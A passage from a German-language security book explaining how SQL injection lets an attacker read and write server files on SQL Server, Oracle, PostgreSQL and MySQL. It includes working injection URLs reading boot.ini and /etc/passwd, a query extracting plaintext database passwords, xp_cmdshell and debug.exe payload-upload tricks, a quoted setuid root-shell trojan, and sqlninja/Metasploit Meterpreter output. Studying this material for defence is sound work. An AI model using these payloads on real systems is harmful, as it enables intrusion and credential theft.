Eine kurze Prüfung im SQL Query Analyzer von Microsoft (siehe Abbildung 6.5) zeigt beispiel-haft die Verwendung von BULK INSERT

Wenn ein relationales Datenbankmanagementsystem sowohl Dateien wie diese als auch Sta-pelabfragen handhaben kann, ist ein Angreifer auch in der Lage, diese Möglichkeiten in seinem Browser zu nutzen. Sehen wir uns eine einfache ASP-Suchanwendung mit SQL Server als Back-End-Datenbank an. Abbildung 6.6 zeigt das Ergebnis dieser Anwendung. Wie Sie (mittlerweile) sicherlich vermuten, gibt diese Abfrage alle Benutzer im System zurück.

Wenn ein Angreifer erkannt hat, dass das Feld sname anfällig für Injektion ist, kann er seine ak-tuellen Rechte schnell bestimmen, indem er UNION-Abfrage mit SELECT user_name(), user oder loginame injiziert:

http://intranet/admin/staff.asp?sname=' union select NULL,NULL,NULL,loginame FROM master..sysprocesses WHERE spid = @@SPID--

Abbildung 6.5: Eine BULK-INSERT-Anweisung in SQL Query Analyzer


Abbildung 6.6: Eine Intranetanwendung als Beispiel (mit Microsoft SQL Server als Back-End-Datenbank)

Abbildung 6.7: Bestätigen der Injektion

Dies führt zu dem Ergebnis aus Abbildung 6.7.

Mit diesen Informationen kann der Angreifer nun weitermachen und in seinem Browser die Befehle nachstellen, die wir im Query Analyzer ausgeführt haben. Das führt zu folgender merk-würdig aussehender Abfrage:

http://intranet/admin/staff.asp?sname='; create table hacked(line varchar(8000)); bulk insert hacked from 'c:\boot.ini';--

Dadurch kann der Angreifer eine nachfolgende Abfrage ausführen, um die Ergebnisse der neu erstellten Tabelle abzurufen (siehe Abbildung 6.8).


Natürlich gibt nicht jede Anwendung Ergebnisse auf so bequeme Weise zurück. Sobald aber die Masseneinfügung erledigt ist, kann ein Angreifer jede der in Kapitel 4 und 5 beschriebenen Extraktionsmethoden einsetzen, um die Daten aus der Datenbank abzuziehen.

Abbildung 6.8: Dateien über Microsoft SQL Server lesen

Abbildung 6.9: Ein MD5-Hash von net.exe

Nimmt ein Angreifer bei BULK INSERT die Einstellung CODEPAGE='RAW' vor, kann er sogar Binär-dateien zu SQL Server hochladen. Nach dem Abruf durch die Anwendung kann er diese Dateien dann wiederherstellen. Das Tool Squeeza von SensePost automatisiert diesen Vorgang durch seinen Modus !copy, mit dem ein Angreifer im Hintergrund eine Masseneinfügung in eine tem-poräre Tabelle vornimmt, dann mit einem Kommunikationsmechanismus seiner Wahl (DNS, Fehlermeldungen oder Timing) die Informationen abruft und die Datei schließlich auf seinem Computer wiederherstellt. Zum Testen können Sie eine beliebige Datei auf dem Zielcomputer auswählen (C:\winnt\system32\net.exe) und ihren MD5-Hash abrufen (siehe Abbildung 6.9).

Mithilfe der Datei squeeza.config, die auf die Zielanwendung eingestellt ist, wollen wir nun zwei Dateien abrufen, nämlich die Datei boot.ini des Zielservers und die Binärdatei C:\winnt\system32\net.exe. Abbildung 6.10 zeigt die ziemlich knappe Ausgabe von Squeeza.

Wenn alles glatt gelaufen ist, können wir die den Inhalt von stolen-boot.ini lesen und die Prüfsumme von stolen-net.exe mit der der Originaldatei vergleichen:


[haroon@hydra squeeza]$ cat stolen-boot.ini [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINNT [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINNT= "Microsoft Windows 2000 Server" /fastdetect [haroon@hydra squeeza]$ md5sum stolen-net.exe 8f9f01a95318fc4d5a40d4a6534fa76b stolen-net.exe

Abbildung 6.10: Eine Binärdatei von einem Server kopieren

(Sie können auch die MD5-Werte vergleichen, um sich zu vergewissern, dass die Dateiübertra-gung funktioniert hat, allerdings kann das je nachdem, welchen Kanal Sie mit !channel gewählt haben, unerträglich langsam sein.)

Wenn keine Methode zur Masseneinfügung zur Verfügung steht, kann ein Angreifer Dateimani-pulationen in SQL Server mithilfe der OLE-Automatisierung durchführen. Diese Technik wur-de von Chris Anley in dem Artikel »Advanced SQL Injection« beschrieben. In seinem Beispiel hat er als Erstes das Objekt wscript.shell eingesetzt, um eine Instanz des Editors (Notepad) auf dem Zielserver zu starten:

–– Beispiel für wscript.shell (Chris Anley – [email protected]) declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'


Dadurch kann der Angreifer jedes beliebige ActiveX-Steuerelement nutzen, was viele Gelegen-heiten für Angriffe bietet. Das Dateisystemobjekt gibt Angreifern eine relativ einfache Methode an die Hand, Dateien ohne Masseneinfügung zu lesen. Abbildung 6.11 zeigt die (missbräuchli-che) Verwendung von Scripting.FileSystemObject im SQL Query Analyzer.

Abbildung 6.11: Durchsuchen des Dateisystems mit Scripting.FileSystemObject

Mit der gleichen Technik ist es dann möglich, SQL Server dazu zu bringen, Browserinstanzen zu erzeugen, was zu noch mehr Verwicklungen und Angriffsmöglichkeiten führt. Es ist durchaus vorstellbar, dass ein Angreifer eine Schwachstelle im Browser auf einem Server ausnutzt, indem er diesen Browser mithilfe der SQL-Injection dazu bringt, eine schädliche Seite aufzurufen.

In SQL Server 2005 wurden viele neue »Funktionsmerkmale« eingeführt, die zu einem Angriff einladen. Eines der wichtigsten ist die Einführung der CLR (Common Language Runtime) in SQL Server. Entwickler können damit .NET-Binärdateien auf einfache Weise in die Datenbank eingliedern, aber auch für unternehmungslustige Angreifer bieten sich dadurch viele Gelegen-heiten. Auf MSDN heißt es:

Durch die Bereitstellung der Common Language Runtime (CLR) von Microsoft .NET Framework 2.0 erweitert Microsoft SQL Server 2005 das Datenbankprogrammiermodell erheblich. Entwickler können damit Prozeduren, Trigger und Funktionen in jeder der CLR-Sprachen schreiben, insbesondere in Microsoft Visual C# .NET, Microsoft Visual Basic .NET und Microsoft Visual C++. Das ermöglicht Entwicklern auch, die Datenbank durch neue Typen und Aggregate zu erweitern. (Rathakrishnan et al.)

Mit der CLR-Integration werden wir uns später genauer beschäftigen. Zunächst gilt unser Hauptaugenmerk dem Missbrauch des Zielsystems zum Lesen von Dateien. Dies wird durch


eine der Methoden zum Importieren von Assemblys in SQL Server möglich gemacht. Das erste Problem, das wir überwinden müssen, besteht darin, dass die CLR-Integration in SQL Server 2005 standardmäßig ausgeschaltet ist. Wie Abbildung 6.12 zeigt, ist das aber kein Problem, so-fern Sie über die Berechtigungen eines Systemadministrators oder ähnliche Rechte verfügen, da Sie diese Funktion mit der gespeicherten Funktion sp_configure einschalten können.

Abbildung 6.12: Aktivieren der CLR-Integration

Abbildung 6.13: Aktivieren der CLR-Integration in der Anwendung

Natürlich können wir diese Maßnahmen auch in unseren Injektionsstring aufnehmen (wie Sie in Abbildung 6.13 sehen).

Nun können wir mithilfe der Funktion CREATE ASSEMBLY beliebige .NET-Binärdateien vom Ziel-server in unsere Datenbank laden.

Um dies für die Assembly C:\temp\test.exe zu tun, verwenden wir folgenden Injektionsstring:

sname=';create assembly sqb from 'c:\temp\test.exe' with permission_set = unsafe--

SQL Server speichert die rohen Binärdaten (als Hexstrings) in der Tabelle sys.assembly_files. Diese Datei können Sie sich wie in Abbildung 6.14 gezeigt ganz einfach im Query Analyzer anschauen.


Um diese Datei auf der Webseite zu sehen, müssen wir die Funktionen substring() und master.dbo.fn_varbintohexstr() kombinieren:

sname=' union select NULL,NULL,NULL, master.dbo.fn_varbintohexstr(substring(content,1,5)) from sys.assembly_files--

Abbildung 6.15 zeigt, wie Sie mit dieser Kombination aus UNION, substring und fn_varbinto-hexstr Binärdateien im Browser lesen.

Abbildung 6.14: Die angehängte Datei in der Datenbank einsehen

Abbildung 6.15: Binärateien mit fn_varbintohexstr und substring lesen

SQL Server überprüft die Binärdatei oder Assembly zur Ladezeit (und zur Laufzeit), um sicher-zustellen, dass es sich um eine gültige .NET-Assembly handelt. Das macht es uns unmöglich, die Direktive CREATE ASSEMLBY zu verwenden, um Nicht-CLR-Binärdateien in die Datenbank einzuschleusen:

CREATE ASSEMBLY sqb2 from 'c:\temp\test.txt'

Dieser Code führt zu folgendem Ergebnis:

CREATE ASSEMBLY for assembly 'sqb2' failed because assembly 'sqb2' is malformed or not a pure .NET assembly. Unverifiable PE Header/native stub.


Allerdings können wir diese Einschränkung mit ein wenig Raffinesse umgehen. Dazu laden wir zunächst eine gültige .NET-Binärdatei und fügen dann mit dem Befehl ALTER ASSEMBLY der Assembly zusätzliche Dateien hinzu. Zur Zeit der Abfassung dieses Buches wurden zusätzliche Dateien dabei ohne Typüberprüfung in die Datenbank eingefügt, sodass wir willkürliche Binär-dateien (und auch ASCII-Textdateien) mit der ursprünglichen Assembly verknüpfen können:

create assembly sqb from 'c:\temp\test.exe' alter assembly sqb add file from 'c:\windows\system32\net.exe' alter assembly sqb add file from 'c:\temp\test.txt'

Wenn wir uns nun die Tabelle sys.assembly_files mit SELECT ansehen, können wir erkennen, dass die Dateien hinzugefügt und mit der bekannten substring/varbintohextr-Technik abge-rufen werden können.

Assemblys dem Systemkatalog hinzuzufügen, ist gewöhnlich nur Mitgliedern der Gruppe SYS-ADMIN (und den Besitzern der Datenbank) erlaubt. Der erste Schritt, um diese Techniken nutzen zu können, besteht also darin, die eigenen Rechte auf das Niveau von Systemadministratoren anzuheben.

Weiter hinten in diesem Kapitel sehen wir uns an, wie sich Befehle über SQL Server ausführen lassen. Vorläufig aber wollen wir nur festhalten, dass sich die Befehlsausführung durch viele der Kanäle, die Sie in der Datenbank nutzen, ziemlich einfach auf das Lesen von Dateien übertragen lässt.

Oracle

Oracle bietet verschiedene Möglichkeiten, Dateien im zugrunde liegenden Betriebssystem zu lesen. Bei den meisten ist es jedoch erforderlich, PL/SQL-Code ausführen zu können. Es gibt drei (bekannte) Schnittstellen für den Dateizugriff:

• utl_file_dir und Oracle-Verzeichnisses

• Java

• Oracle Text

Standardmäßig können Benutzer ohne Rechte keine Dateien auf Betriebssystemebene lesen oder schreiben. Mit den entsprechenden Berechtigungen ist die Aufgabe jedoch einfach.

Der gebräuchliche Weg für den Dateizugriff besteht darin, Oracle-Verzeichnisse und utl_file_dir zu verwenden. Mit diesem Datenbankparameter (der seit Oracle 9i R2 als veraltet gilt) können Sie ein Verzeichnis auf Betriebssystemebene angeben. Jeder Datenbankbenutzer kann


Dateien in diesem Verzeichnis lesen, schreiben und kopieren (check: SELECT name,value from v$parameter where name='UTL_FILE_DIR'). Wird * als Wert von utl_file_dir angegeben, gibt es keine Einschränkungen für das, was der Datenbankprozess schreiben kann. Bei älteren un-gepatchten Oracle-Versionen gab es Probleme mit dem Durchlaufen von Verzeichnissen, was diesen Vorgang noch erheblich erleichterte.

Mit den folgenden Methoden ist es möglich, mithilfe von utl_file_dir und Oracle-Verzeich-nissen Dateien von der Oracle-Datenbank aus zu lesen:

• UTL_FILE (PL/SQL, Oracle 8 bis 11g)

• DBMS_LOB (PL/SQL, Oracle 8 bis 11g)

• Externe Tabellen (SQL, Oracle 9i Rel. 2 bis 11g)

• XMLType (SQL, Oracle 9i Rel. 2 bis 11g)

Der folgende PL/SQL-Beispielcode liest 1000 Bytes ab Byte 1 aus der Datei rds.txt, die sich im Verzeichnis MEDIA_DIR befindet:

DECLARE buf varchar2(4096); BEGIN Lob_loc:= BFILENAME('MEDIA_DIR', 'rds.txt'); DBMS_LOB.OPEN (Lob_loc, DBMS_LOB.LOB_READONLY); DBMS_LOB.READ (Lob_loc, 1000, 1, buf); dbms_output.put_line(utl_raw.cast_to_varchar2(buf)); DBMS_LOB.CLOSE (Lob_loc); END;

Seit Oracle 9i Rel. 2 ist es möglich, Dateien über externe Tabellen zu lesen. Um Daten aus einer strukturierten Datei zu lesen, verwendet Oracle SQL*Loader oder (seit Version 10 g) Oracle Da-tapump. Wenn eine CREATE TABLE-Anweisung anfällig für SQL-Injection ist, kann die normale Tabelle in eine externe geändert werden.

Der folgende Beispielcode zeigt die Verwendung externer Tabellen:

create directory ext as 'C:\'; CREATE TABLE ext_tab ( line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY extACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE BADFILE 'bad_data.bad' LOGFILE 'log_data.log'


FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL REJECT ROWS WITH ALL NULL FIELDS (line)) LOCATION ('victim.txt') ) PARALLEL REJECT LIMIT 0 NOMONITORING; Select * from ext_tab;

Der folgende Code liest den Benutzernamen, das Klartextpasswort und den Verbindungsstring aus der Datei data-sources.xml. Dies ist eine Standarddatei (in Oracle 11g), die auch einen Verbindungsstring für Java enthält. Der große Vorteil dieses Codes besteht darin, dass Sie ihn in SELECT-Anweisungen in einer Funktion oder als UNION SELECT verwenden können:

selectextractvalue(value(c), '/connection-factory/@user')||'/'||extract value(value(c), '/connection-factory/@password')||'@'||substr(extract value(value(c), '/connection-factory/@url'),instr(extractvalue(value (c), '/connection-factory/@url'),'//')+2) conn FROM table(XMLSequence(extract(xmltype(bfilename('GETPWDIR', 'data-sources.xml'), nls_charset_id('WE8ISO8859P1') ), '/data-sources/connection-pool/connection-factory' ) ) ) c /

Anstatt auf utl_file_dir und Oracle-Verzeichnisse zurückzugreifen, ist es auch möglich, Datei-en mithilfe von Java zu lesen und zu schreiben. Beispielcode für diese Vorgehensweise finden Sie auf der Website von Marco Ivaldi auf www.0xdeadbeef.info/exploits/raptor_oraexec.sql.

Eine eher unbekannte Technik zum Lesen von Dateien und URIs bietet Oracle Text. Für diese Funktion sind weder Java noch utl_file_dir und Oracle-Verzeichnisse erforderlich. Fügen Sie einfach die gewünschte Datei oder den URL in eine Tabelle ein und erstellen Sie einen Volltext-index oder warten Sie, bis ein solcher Index erstellt worden ist. Dieser Index enthält dann den gesamten Inhalt der Datei.

Der folgende Beispielcode zeigt, wie Sie die Datei boot.ini lesen, indem Sie sie in eine Tabelle einfügen:


CREATE TABLE files (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6) ); INSERT INTO files VALUES (1, 'c:\boot.ini', NULL); CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys. contextPARAMETERS ('datastore ctxsys.file_datastore format column ot_format'); -- Ruft Daten aus dem Volltextindex an Select token_text from dr$file_index$i;

PostgreSQL

PostgreSQL verfügt über eine eingebaute Funktion, mit der Dateien in die Textfelder einer Ta-belle kopiert werden können. Dazu müssen die Dateien entweder für alle lesbar sein oder dem Benutzer gehören, der den PostgreSQL-Prozess ausführt (gewöhnlich der Benutzer postgres). Das folgende Beispiel zeigt, wie ein Angreifer damit den Inhalt der Datei /etc/passwd lesen kann

• Erstellt eine temporäre Tabelle:

http://10.10.10.114/test.php?id=1;CREATE table temp (name text);--

• Kopiert die Datei in die Tabelle:

http://10.10.10.114/test.php?id=1; copy temp from '/etc/passwd'--

• Liest die Tabelle:

Nachdem die Datei in die Tabelle kopiert wurde, kann die Tabelle mit anderen SQL-Injek-tionstechniken gelesen werden, z. B. durch die Verwendung von UNION-Anweisungen oder durch blinde SQL-Injection (siehe Abbildung 6.16):

http://10.10.10.114/test.php?id=1 union select 2,name from temp--


Abbildung 6.16: Lesen der Datei /etc/passwd auf dem Datenbankhost

6.2.2 Dateien schreiben

Dateien auf dem Zielserver zu schreiben, erscheint wie ein Rückfall in jene Zeiten, als Angreifer Textdateien auf einem fremden Host ablegten, um zu beweisen, dass sie ihn übernommen hat-ten. Da Datenbanken so viele wertvolle Inhalte aufweisen, erscheint es manchmal absurd, wie besessen einige Leute versuchen, die Datenbank wieder zu verlassen. Dateien zu schreiben, hat jedoch sinnvolle Anwendungen und dient oft als Sprungbrett dazu, den Host selbst zu überneh-men (der wiederum als Sprungbrett für den Angriff auf das interne Netzwerk dienen kann).

Alle üblichen relationalen Datenbankmanagementsysteme verfügen über eingebaute Funktio-nen, um Dateien im Dateisystem des Servers zu schreiben. Je nach Art des zugrunde liegenden Betriebssystems lassen sich diese Funktionen durch SQL-Injection mehr oder weniger stark missbrauchen.

MySQL

Der bereits vorgeführte MySQL-Befehl LOAD DATE INFILE zum Einlesen von Dateien hat in Form des Befehls SELECT INTO OUTFILE (DUMPFILE) ein Gegenstück zum Schreiben von Befehlen. Damit kann das Ergebnis einer SELECT-Anweisung in eine allgemein lesbare Datei geschrieben werden, die dem Besitzer des MySQL-Prozesses gehört. (Die Version mit DUMPFILE erlaubt das Schreiben von Binärdateien.) Betrachten Sie dazu das folgende Beispiel:


mysql> select 'This is a test' into outfile '/tmp/test.txt'; Query OK, 1 row affected (0.00 sec)

Dadurch wird die folgende Datei test.txt im Verzeichnis /tmp angelegt:

$ cat test.txt This is a test

Das lässt sich sehr einfach über eine Injektion erreichen. In Abbildung 6.17 schreiben wir über die MySQL-Intranetanwendung SensePost 2008 in die Datei /tmp/sp.txt.

Abbildung 6.17: Schreiben einer Datei mithilfe von INTO DUMPFILE

Wir verwenden dazu den folgenden Suchstring:

aaa' union select NULL,'SensePost 2008\n' into dumpfile '/tmp/sp.txt'#

Da wir nicht wollen, dass Ergebnisse zurückgegeben werden, die unsere Ausgabedatei durch-einander bringen würden, nehmen wir als eigentlichen Suchbegriff aaa. Mit NULL sorgen wir dafür, dass die Anzahl der Spalten stimmt, damit UNION funktioniert. Statt OUTFILE verwenden wir DUMPFILE, um eine Binärdatei ausgeben zu können. Damit die Zeile normal beendet wird, geben wir daher \n an.

Dadurch entsteht die Datei sp.text mit dem gewünschten Inhalt im Verzeichnis /tmp:

$ cat sp.txt SensePost 2008


Beim Lesen von Binärdateien im Dateisystem haben wir die eingebaute MySQL-Funktion HEX() verwendet. Zum Schreiben von Binärdateien in das Dateisystem müssen wir logischerweise den gegenteiligen Vorgang ausführen und nutzen daher die MySQL-Funktion UNHEX():

mysql> select UNHEX('53656E7365506F7374203038'); +-----------------------------------+ | UNHEX('53656E7365506F7374203038') | +-----------------------------------+ | SensePost 08 | +-----------------------------------+ 1 row in set (0.00 sec)

Mit dieser Technik können wir jede Art von Datei an beliebiger Stelle im Dateisystem schreiben. Allerdings ist es damit nicht möglich, vorhandene Dateien zu überschreiben. Außerdem ist die geschriebene Datei allgemein lesbar. Bevor wir uns damit beschäftigen, was Sie damit alles tun können, wollen wir uns kurz ansehen, was Angreifer damit bei www.apache.org angerichtet haben.

Nachrichten aus dem UntergrundDie Verunstaltung von apache.orgIm Mai 2000 wurde die Webseite der Apache Foundation (Hersteller des Apache-Web-servers) durch die Aufnahme des Logos »Powered by Microsoft BackOffice« verunstal-tet. Die Übeltäter, die unter den Pseudonymen {} und Hardbeat firmierten, dokumen-tierten ihren Angriff auf www.dataloss.net/papers/how.defaced.apache.org.txt in dem Artikel »How we defaced http://www.apache.org«.

Die beiden haben sich zunächst dadurch Zugriff verschafft, dass sie einen Konfigura-tionsfehler in ftpd ausnutzten, und dann eine rohe Webshell in das Wurzelverzeichnis des Webservers hochluden. Dadurch konnte ihre Shell mit geringen Rechten als Benut-zer nobody laufen. Den weiteren Ablauf beschrieben die beiden wie folgt:

»Nach längerer Suche fanden wir heraus, dass MySQL als Benutzer root ausgeführt wurde und lokal erreichbar war. Außerdem führte apache.org Bugzilla aus, was ein MySQL-Konto erfordert, Benutzername und Passwort aber als Klartext im Bugzilla-Quellcode speichert. Damit war es einfach, an den Benutzernamen und das Passwort für die MySQL-Datenbank zu kommen.«

(Hinweis: Der Kürze halber werden hier einige Einzelheiten ausgelassen.)

»Nachdem wir uns mithilfe der Anmelde-Bugs (Vollzugriff, also 'überall Y') Zugriff auf Port 3306 von localhost verschafft hatten, konnten wir unsere Rechte erheblich erhö-hen. Das lag hauptsächlich daran, dass die README-Datei nicht sehr sorgfältig gelesen wurde. Sie zeigt zwar, wie man die Einrichtung sehr schnell erledigen kann, indem man alles auf Y setzt, enthält aber auch eine ganze Menge Sicherheitswarnungen, darunter auch: 'Führen Sie mysqld nicht als root aus!'


Mit SELECT ... INTO OUTFILE konnten wir nun als root überall Dateien erstel-len. Diese Dateien waren im Modus 666, und wir konnten auch nichts überschreiben. Trotzdem erschien diese Möglichkeit brauchbar.

Was aber konnten wir damit anfangen? Es wäre nicht sinnvoll gewesen, .rhosts-Datei-en zu schreiben, denn kein gesunder rshd akzeptiert von jedermann schreibbare .rhosts-Dateien. Außerdem lief rshd auf diesem Rechner gar nicht.

/* * our /root/.tcshrc */

Daher entschieden wir uns zu einem trojanerartigen Trick. Wie verwendeten die Da-tenbank test und erstellten eine Ein-Spalten-Tabelle mit einem 80-Zeichen-Textfeld. Nach ein paar INSERT- und einem SELECT-Vorgang hatten wir die Datei /rrot/.tcshrc mit einem ähnlichen Inhalt wie dem folgenden:

#!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc /* * ROOT!! */

Ziemlich einfach. Nun mussten wir darauf waren, dass jemand den Befehl su - gab. Da neun Personen rechtmäßigen root-Zugang hatten, dauerte das jedoch nicht lange. Der Rest ist trivial. Mit root-Rechten war die Verfremdung rasch erledigt. Vorher aber hatten wir noch schnell einen Bericht zusammengestellt, in dem wir die Schwachstellen und einige schnellere Korrekturmaßnahmen aufzeigten. Kurz nach der Verunstaltung haben wir einem der Admins diesen Bericht gesendet.«

(Hinweis: Der Kürze halber werden hier einige Einzelheiten ausgelassen.)

»Wir möchten dem Administratorenteam von Apache unsere Anerkennung für die schnelle Reaktion nach dem Bekanntwerden der Verfremdung aussprechen. Das gilt auch für ihre Haltung uns gegenüber – sie bezeichneten uns sogar als White Hats, ob-wohl wir unserer Meinung nach bestenfalls Gray Hats sind.

Mit freundlichen Grüßen,

{} und Hardbeat.«

In dem Kasten wird deutlich, dass die beiden Witzbolde nicht nur SQL-Injection genutzt haben. Allerdings zeigt dieser Bericht, welche Möglichkeiten Angreifer haben, wenn ihnen erst einmal der Zugriff auf den SQL Server-Computer gelungen ist.


Mit der Möglichkeit, Dateien auf dem Server zu erstellen, rückt auch eine andere Möglichkeit in den Brennpunkt, nämlich das Erstellen von benutzerdefinierten Funktionen (User-Defined Function, UDF) auf dem fremden Host. In seinem hervorragenden Artikel »HackProofing SQL Server« hat Chris Anley von NGS Software dokumentiert, wie sich eine UDF erstellen lässt, um damit ein MySQL-Gegenstück zur Prozedur xp_cmdshell zu schreiben. Um eine UDF zu erzeugen, ist (laut MySQL-Handbuch) nicht mehr erforderlich, als die UDF als Objektdatei zu kompilieren. Diese Datei kann dann mit den Anweisungen CREATE FUNCTION und DROP FUNCTION dem Server hinzugefügt bzw. von ihm entfernt werden.

Microsoft SQL Server

Die bereits erwähnte Vorgehensweise mit scripting.filesystemobject zum Lesen von Dateien können Sie genauso wirkungsvoll auch zum Schreiben von Dateien im Dateisystem einsetzen. Die-se Methode wird ebenfalls in Anleys Artikel beschrieben. Den Vorgang sehen Sie in Abbildung 6.18.

Wir haben diese Technik zwar auch zum Schreiben von Binärdateien verwendet, doch gibt es Berichte darüber, dass einige Codeseiten dabei Fehler hervorrufen. In solchen Fällen können Sie ein anderes Objekt als filesystemobject verwenden, beispielsweise ADODB.Stream.

Abbildung 6.18: Schreiben im Dateisystem mit sp_oacreate


Mithilfe des im Lieferumfang enthaltenen Massenkopierprogramms (Bulk Copy Program, BCP) bietet Microsoft SQL Server auch die Möglichkeit, eine Datei aus einer Datenquelle zu erstellen:

C:\temp>bcp "select name from sysobjects" queryout testout.txt -c -S 127.0.0.1 -U sa -P"" Starting copy... 1000 rows successfully bulk-copied to host-file. Total received: 1000 1311 rows copied. Network packet size (bytes): 4096 Clock Time (ms.): total 16

Viele klassische Dokumente über SQL-Injektionsangriffe berichten über die Verwendung von bcp oder xp_cmdshell zum Erstellen von Dateien. Eine Menge der Tools zur SQL-Injection nutzen die bekannte Prozedur xp_cmdshell, um Dateien über SQL Server hochzuladen. In der einfachsten Form können Textdateien mit dem Umleitungsoperator >> erstellt werden:

exec xp_cmdshell 'echo This is a test > c:\temp\test.txt' exec xp_cmdshell 'echo This is line 2 >> c:\temp\test.txt' exec xp_cmdshell 'echo This is line 3 >> c:\temp\test.txt'

Ein alter Trick, der berühmt geworden ist, ohne dass ein Urheber bekannt wurde, besteht darin, eine Skriptdatei für debug.exe zu erstellen, die dann zur Konvertierung in eine Binärdatei an debug.exe übergeben wird:

C:\temp>debug < demo.scr -n demo.com -e 0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 -e 0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 -e 0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 -e 0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F -e 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 -e 0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 ... -rcx CX 0000 :4200 -w 0 Writing 04200 bytes -q C:\temp>dir demo* 2008/12/27 03:18p 16,896 demo.com 2005/11/21 11:08a 61,280 demo.scr


Ein Nachteil bei dieser Methode besteht darin, dass debug.exe nur ausführbare Dateien kleiner als 64 KB erstellen kann. Das stellt jedoch keine starke Einschränkung dar, da eine voll funkti-onsfähige Bind-Shell in weniger als 200 Byte Platz hat. Wenn Sie diese Technik jedoch einsetzen wollen, um eine größere Datei hochzuladen, können Sie diese in Abschnitte von je 64 KB auf-teilen, die Teilstücke getrennt voneinander hochladen und sie dann mit dem DOS-Befehl copy wieder »zusammenkleben«:

copy /b chunk-1.exe_ + chunk-2.exe_ + ... + chunk-n.exe original-file.exe

Wenn Sie mithilfe von debug eine ausführbare Datei erstellen wollen, kombinieren Sie diesen Befehl wahrscheinlich ohnehin mit copy, da debug.exe dazu da ist, .com-Dateien anzulegen. Die meisten automatischen Tools benennen die fertige .com-Datei einfach in .exe um.

Einige wenige Tools bieten auch die Möglichkeit, ausführbare Dateien mithilfe von debug.exe hochzuladen. In Windows können Sie Automagic SQL Injector von Sec-1 Ltd. verwenden (www.sec-1.com). Darin inbegriffen ist ein Hilfsskript, um zunächst eine Binärdatei in eine entspre-chende .scr-Datei umzuwandeln und dann die .scr-Datei mithilfe von echo-Befehlen auf dem fremden System zu erstellen. Automagic enthält auch eine UDP-Reverse-Shell (User Datagram Protocol) und einen Portscanner (fscan.exe).

Bei einem UNIX-Betriebssystem dagegen können Sie Sqlninja (http://sqlninja.sourceforge.net) einsetzen. Dieses Programm haben Sie schon beim Thema Rechteerhöhung in Kapitel 4 ken-nengelernt. Es bietet jedoch auch noch eine Menge anderer Funktionen, darunter die folgenden:

• Identifizierung des Datenbankservers (Version, Name des Benutzers, unter dessen Konto Abfragen ausgeführt werden, Rechte und Authentifizierungsmodus)

• Brute-Force-Ermittlung des Passworts für den Systemadministrator bei gemischter Authen-tifizierung

• Hochladen von ausführbaren Dateien

• Direkte und Reverse-Shell, sowohl auf TCP- als auch auf UDP-Grundlage

• DNS-Tunnelshell, wenn keine direkte Verbindung möglich ist

• Ausweichtechniken, um die Wahrscheinlichkeit dafür zu verringern, von Intrusion-Detec-tion- und Intrusion-Prevention-Systemen (IDS/IPS) und den Firewalls von Webanwendun-gen erkannt zu werden.


Nachrichten aus dem UntergrundWürmer zur SQL-InjektionJustin Clarke, Hauptautor dieses Buches, hat 2008 auf der Black Hat Conference in Las Vegas als Machbarkeitsstudie einen Wurm zur SQL-Injection vorgestellt, der viele in diesem Kapitel genannten Techniken nutzte. Darüber hinaus hat er auch eine einfache Scan-Engine eingesetzt, um Websites ausfindig zu machen und auszunutzen, die als Back-End Microsoft SQL Server in einer unsicheren Konfiguration betreiben (d. h., dass xp_cmdshell ohne Erhöhung der Rechte genutzt werden kann).

Der Wurm hat mit der zuvor beschriebenen Technik debug.exe verwendet, um eine Kopie von sich selbst auf das Datenbankmanagementsystem hochzuladen und dann diese Instanz (mithilfe von xp_cmdshell) auszuführen, um sich weiterzuverbreiten.

Dies war zwar nur eine Machbarkeitsstudie, aber es ist durchaus möglich, dass Schwach-stellen wie eine Anfälligkeit für SQL-Injection auf diese Weise ausgenutzt werden, um einen kombinierten Angriff mithilfe von SQL-Injection und einer der in diesem Kapi-tel vorgestellten Techniken auszuführen, beispielsweise um Malware im Betriebssystem des Servers zu installieren.

Weitere Einzelheiten über den Wurm erhalten Sie auf www.gdssecurity.com/l/b/2008/08/21/overview-of-sql-injection-worms-for-fun-and-profit/.

Sqlninja kann auch mit Metasploit zusammenarbeiten (www.metasploit.com). Wenn Sie sich Administratorrechte für die Datenbank verschafft haben und es mindestens einen offenen TCP-Port gibt, den Sie für die Verbindung nutzen können (direkt oder umgekehrt), dann können Sie eine Anfälligkeit SQL-Injection ausnutzen, indem Sie eine Metasploit-Payload einschleusen, beispielsweise Meterpreter (eine hochleistungsfähige Befehlszeilenschnittstelle) oder eine VNC-DLL (Dynamic Link Library), um grafischen Zugriff auf dem Datenbankserver zu erhalten. Auf der offiziellen Sqlninja-Website finden Sie eine Flash-Vorführung der VNS-Injektion. Der folgende Code zeigt einen erfolgreichen Exploit, mit dem die Passworthashes auf dem Server abgegriffen werden (und zwar die Passwörter für das Betriebssystem, nicht die für SQL Server!). Ich habe die Ausgabe etwas gekürzt und rechts neben den wichtigen Zeilen Kommentare in Fettdruck hinzugefügt:

root@nightblade ~ # ./sqlninja -m metasploit Sqlninja rel. 0.2.3-r1 Copyright (C) 2006-2008 icesurfer <[email protected]> [+] Parsing configuration file.............. [+] Evasion technique(s):- query hex-encoding - comments as separator [+] Target is:www.victim.com [+] Which payload you want to use?1: Meterpreter 2: VNC > 1 <--- Wir wählen Meterpreter als Payload aus


